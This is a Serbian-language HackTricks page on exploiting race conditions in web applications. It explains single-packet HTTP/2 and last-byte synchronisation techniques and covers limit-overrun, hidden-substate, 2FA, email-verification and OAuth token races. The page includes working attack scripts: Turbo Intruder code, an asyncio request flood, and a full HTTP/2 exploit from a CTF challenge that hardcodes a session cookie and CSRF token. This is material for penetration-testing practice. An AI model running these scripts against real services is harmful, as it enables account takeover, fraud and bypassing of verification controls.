hacktricks/pentesting-web/race-condition.md

23 KiB

Race Condition


Koristite Trickest za lako kreiranje i automatizaciju radnih tokova pokretanih najnaprednijim alatima zajednice na svetu.
Pribavite pristup danas:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}

{% hint style="warning" %} Za sticanje dubokog razumevanja ove tehnike proverite izvorni izveštaj na https://portswigger.net/research/smashing-the-state-machine {% endhint %}

Unapređenje napada na Race Condition

Glavna prepreka u iskorišćavanju race condition-a je osiguranje da se više zahteva obrađuje u isto vreme, sa vrlo malom razlikom u vremenima obrade—idealno, manje od 1ms.

Ovde možete pronaći neke tehnike za sinhronizaciju zahteva:

HTTP/2 napad sa jednim paketom vs. HTTP/1.1 sinhronizacija poslednjeg bajta

  • HTTP/2: Podržava slanje dva zahteva preko jedne TCP veze, smanjujući uticaj mrežnog jitter-a. Međutim, zbog varijacija na strani servera, dva zahteva možda neće biti dovoljna za dosledno iskorišćavanje race condition-a.
  • HTTP/1.1 'Sinhronizacija poslednjeg bajta': Omogućava prethodno slanje većine delova 20-30 zahteva, zadržavajući mali fragment, koji se zatim šalje zajedno, postizajući simultano stizanje na server.

Priprema za sinhronizaciju poslednjeg bajta uključuje:

  1. Slanje zaglavlja i podataka tela minus poslednji bajt bez završavanja toka.
  2. Pauza od 100ms nakon inicijalnog slanja.
  3. Onemogućavanje TCP_NODELAY kako bi se iskoristio Nagle-ov algoritam za grupisanje finalnih okvira.
  4. Pingovanje za zagrevanje veze.

Sledeće slanje zadržanih okvira trebalo bi da rezultira njihovim stizanjem u jednom paketu, što se može proveriti putem Wireshark-a. Ova metoda se ne primenjuje na statične datoteke, koje obično nisu uključene u RC napade.

Prilagođavanje arhitekturi servera

Razumevanje arhitekture cilja je ključno. Front-end serveri mogu drugačije usmeravati zahteve, što utiče na vreme. Preventivno zagrevanje veze na strani servera, kroz beznačajne zahteve, može normalizovati vreme zahteva.

Rukovanje zaključavanjem zasnovanim na sesiji

Okviri poput PHP-ovog upravljača sesijama serijalizuju zahteve po sesiji, potencijalno prikrivajući ranjivosti. Korišćenje različitih tokena sesije za svaki zahtev može zaobići ovaj problem.

Prevazilaženje ograničenja brzine ili resursa

Ako zagrevanje veze nije efikasno, namerno izazivanje kašnjenja u ograničenju brzine ili resursa web servera putem poplave lažnih zahteva može olakšati napad sa jednim paketom izazivajući kašnjenje na strani servera pogodno za race condition.

Primeri napada

  • Tubo Intruder - HTTP2 napad sa jednim paketom (1 krajnja tačka): Možete poslati zahtev na Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder), možete promeniti u zahtevu vrednost koju želite da brute force-ujete za %s kao u csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s i zatim odabrati examples/race-single-packer-attack.py iz padajućeg menija:

Ako planirate da pošaljete različite vrednosti, možete modifikovati kod sa ovim koji koristi rečnik iz clipboard-a:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

{% hint style="warning" %} Ako web ne podržava HTTP2 (samo HTTP1.1) koristite Engine.THREADED ili Engine.BURP umesto Engine.BURP2. {% endhint %}

  • Tubo Intruder - HTTP2 napad sa jednim paketom (Više krajnjih tačaka): U slučaju da treba da pošaljete zahtev ka 1 krajnjoj tački, a zatim više ka drugim krajnjim tačkama da aktivirate RCE, možete promeniti race-single-packet-attack.py skriptu sa nečim poput:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Takođe je dostupno u Repeater putem nove opcije 'Send group in parallel' u Burp Suite.
  • Za limit-overrun možete jednostavno dodati istu zahtev 50 puta u grupu.
  • Za connection warming, možete dodati na početku grupe neke zahteve ka nekoj nestatičnoj delu web servera.
  • Za delaying procesa između obrade jednog zahteva i drugog u 2 podstanja, možete dodati dodatne zahteve između oba zahteva.
  • Za multi-endpoint RC možete početi slati zahtev koji ide u skriveno stanje i zatim 50 zahteva odmah nakon njega koji iskorišćava skriveno stanje.
  • Automatizovani python skript: Cilj ovog skripta je da promeni email korisnika dok neprekidno verifikuje dok verifikacioni token novog emaila ne stigne na poslednji email (to je zato što je u kodu viđena RC gde je bilo moguće modifikovati email, ali poslati verifikaciju na stari jer je varijabla koja označava email već bila popunjena prvim).
    Kada se reč "objetivo" pronađe u primljenim emailovima, znamo da smo primili verifikacioni token promenjenog emaila i završavamo napad.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Poboljšanje napada sa jednim paketom

U originalnom istraživanju objašnjeno je da ovaj napad ima limit od 1.500 bajtova. Međutim, u ovom postu, objašnjeno je kako je moguće proširiti ograničenje od 1.500 bajtova napada sa jednim paketom na 65.535 B ograničenje prozora TCP-a korišćenjem fragmentacije na IP nivou (deljenje jednog paketa na više IP paketa) i slanje u različitom redosledu, što je omogućilo sprečavanje ponovnog sastavljanja paketa dok svi fragmenti ne stignu do servera. Ova tehnika je omogućila istraživaču da pošalje 10.000 zahteva za otprilike 166ms.

Imajte na umu da, iako ovo poboljšanje čini napad pouzdanijim u RC-u koji zahteva stotine/hiljade paketa da stignu u isto vreme, može imati i neka softverska ograničenja. Neki popularni HTTP serveri kao što su Apache, Nginx i Go imaju strogo podešavanje SETTINGS_MAX_CONCURRENT_STREAMS na 100, 128 i 250. Međutim, drugi kao što su NodeJS i nghttp2 nemaju ograničenje.
To u suštini znači da će Apache uzeti u obzir samo 100 HTTP konekcija iz jedne TCP konekcije (ograničavajući ovaj RC napad).

Možete pronaći neke primere korišćenja ove tehnike u repozitorijumu https://github.com/Ry0taK/first-sequence-sync/tree/main.

Raw BF

Pre prethodnog istraživanja, ovo su bili neki payload-ovi koji su korišćeni i koji su samo pokušavali da pošalju pakete što je brže moguće kako bi izazvali RC.

  • Repeater: Proverite primere iz prethodne sekcije.
  • Intruder: Pošaljite zahtev na Intruder, postavite broj niti na 30 unutar menija Opcije, i izaberite kao payload Null payloads i generišite 30.
  • Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Metodologija

Limit-overrun / TOCTOU

Ovo je najosnovnija vrsta race condition gde ranjivosti koje se pojavljuju na mestima koja ograničavaju broj puta na koji možete izvršiti neku radnju. Kao korišćenje istog koda za popust u veb prodavnici više puta. Veoma lak primer može se naći u ovom izveštaju ili u ovoj grešci.

Postoji mnogo varijacija ove vrste napada, uključujući:

  • Otkup poklon kartice više puta
  • Ocenjivanje proizvoda više puta
  • Podizanje ili prebacivanje gotovine u iznosu većem od stanja na računu
  • Ponovno korišćenje jednog CAPTCHA rešenja
  • Zaobilaženje anti-brute-force ograničenja brzine

Skriveni podstanja

Eksploatacija složenih race condition često uključuje korišćenje kratkih prilika za interakciju sa skrivenim ili nepredviđenim mašinskim podstanjem. Evo kako pristupiti ovome:

  1. Identifikujte potencijalna skrivena podstanja
  • Počnite tako što ćete odrediti krajnje tačke koje modifikuju ili interaguju sa kritičnim podacima, kao što su korisnički profili ili procesi resetovanja lozinke. Fokusirajte se na:
  • Skladištenje: Preferirajte krajnje tačke koje manipulišu podacima koji su trajni na serveru u odnosu na one koje obrađuju podatke na klijentskoj strani.
  • Akcija: Tražite operacije koje menjaju postojeće podatke, koje su verovatnije da će stvoriti uslove za eksploataciju u poređenju sa onima koje dodaju nove podatke.
  • Ključ: Uspešni napadi obično uključuju operacije koje su ključne na istom identifikatoru, npr. korisničko ime ili token za resetovanje.
  1. Sprovedite inicijalno ispitivanje
  • Testirajte identifikovane krajnje tačke sa napadima race condition, posmatrajući bilo kakve odstupanja od očekivanih rezultata. Neočekivani odgovori ili promene u ponašanju aplikacije mogu signalizirati ranjivost.
  1. Demonstrirajte ranjivost
  • Sužavajte napad na minimalan broj zahteva potrebnih za eksploataciju ranjivosti, često samo dva. Ovaj korak može zahtevati više pokušaja ili automatizaciju zbog preciznog tajminga koji je uključen.

Napadi osetljivi na vreme

Preciznost u tajmingu zahteva može otkriti ranjivosti, posebno kada se koriste predvidljive metode poput vremenskih oznaka za sigurnosne tokene. Na primer, generisanje tokena za resetovanje lozinke na osnovu vremenskih oznaka moglo bi omogućiti identične tokene za simultane zahteve.

Za eksploataciju:

  • Koristite precizan tajming, poput napada jednim paketom, da izvršite simultane zahteve za resetovanje lozinke. Identični tokeni ukazuju na ranjivost.

Primer:

  • Zatražite dva tokena za resetovanje lozinke u isto vreme i uporedite ih. Podudaranje tokena sugeriše grešku u generisanju tokena.

Proverite ovo PortSwigger Lab da probate ovo.

Studije slučaja skrivenih podstanja

Plaćanje i dodavanje stavke

Proverite ovo PortSwigger Lab da vidite kako da platite u prodavnici i dodate dodatnu stavku za koju nećete morati da platite.

Potvrda drugih emailova

Ideja je da verifikujete email adresu i promenite je na drugu u isto vreme da biste saznali da li platforma verifikuje novu promenjenu.

Promena emaila na 2 email adrese zasnovane na kolačićima

Prema ovoj studiji Gitlab je bio ranjiv na preuzimanje na ovaj način jer može poslati token za verifikaciju emaila jedne email adrese na drugu email adresu.

Proverite ovo PortSwigger Lab da probate ovo.

Zaobilaženje potvrde baze podataka / Zaobilaženje potvrde

Ako se koriste 2 različita pisanja za dodavanje informacija unutar baze podataka, postoji mali deo vremena kada je samo prvi podatak napisan unutar baze podataka. Na primer, kada se kreira korisnik, korisničko ime i lozinka mogu biti napisani i onda se piše token za potvrdu novokreiranog naloga. To znači da za kratak period token za potvrdu naloga je null.

Stoga registracija naloga i slanje nekoliko zahteva sa praznim tokenom (token= ili token[]= ili bilo koja druga varijacija) za trenutnu potvrdu naloga mogla bi omogućiti potvrdu naloga gde ne kontrolišete email.

Proverite ovo PortSwigger Lab da probate ovo.

Zaobilaženje 2FA

Sledeći pseudo-kod je ranjiv na race condition jer u veoma kratkom vremenu 2FA nije primenjen dok se sesija kreira:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 večna postojanost

Postoji nekoliko OAUth provajdera. Ove usluge će vam omogućiti da kreirate aplikaciju i autentifikujete korisnike koje je provajder registrovao. Da biste to uradili, klijent će morati da dozvoli vašoj aplikaciji pristup nekim od njihovih podataka unutar OAUth provajdera.
Dakle, do sada je to samo uobičajeni prijavljivanje sa google/linkedin/github... gde se pojavljuje stranica koja kaže: "Aplikacija <InsertCoolName> želi da pristupi vašim informacijama, da li želite da to dozvolite?"

Race Condition u authorization_code

Problem se pojavljuje kada prihvatite i automatski šalje authorization_code zloćudnoj aplikaciji. Tada, ova aplikacija zloupotrebljava Race Condition u OAUth servisu da generiše više od jednog AT/RT (Authentication Token/Refresh Token) iz authorization_code za vaš nalog. U suštini, zloupotrebiće činjenicu da ste prihvatili aplikaciju da pristupi vašim podacima da kreira nekoliko naloga. Tada, ako prestaneš da dozvoljavaš aplikaciji da pristupi tvojim podacima, jedan par AT/RT će biti obrisan, ali ostali će i dalje biti važeći.

Race Condition u Refresh Token

Kada ste dobili važeći RT, mogli biste pokušati da zloupotrebite to da generišete nekoliko AT/RT i čak i ako korisnik otkaže dozvole za zloćudnu aplikaciju da pristupi njegovim podacima, several RTs će i dalje biti važeći.

RC u WebSockets

U WS_RaceCondition_PoC možete pronaći PoC u Javi za slanje websocket poruka u paraleli da zloupotrebi Race Conditions takođe u Web Sockets.

Reference

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}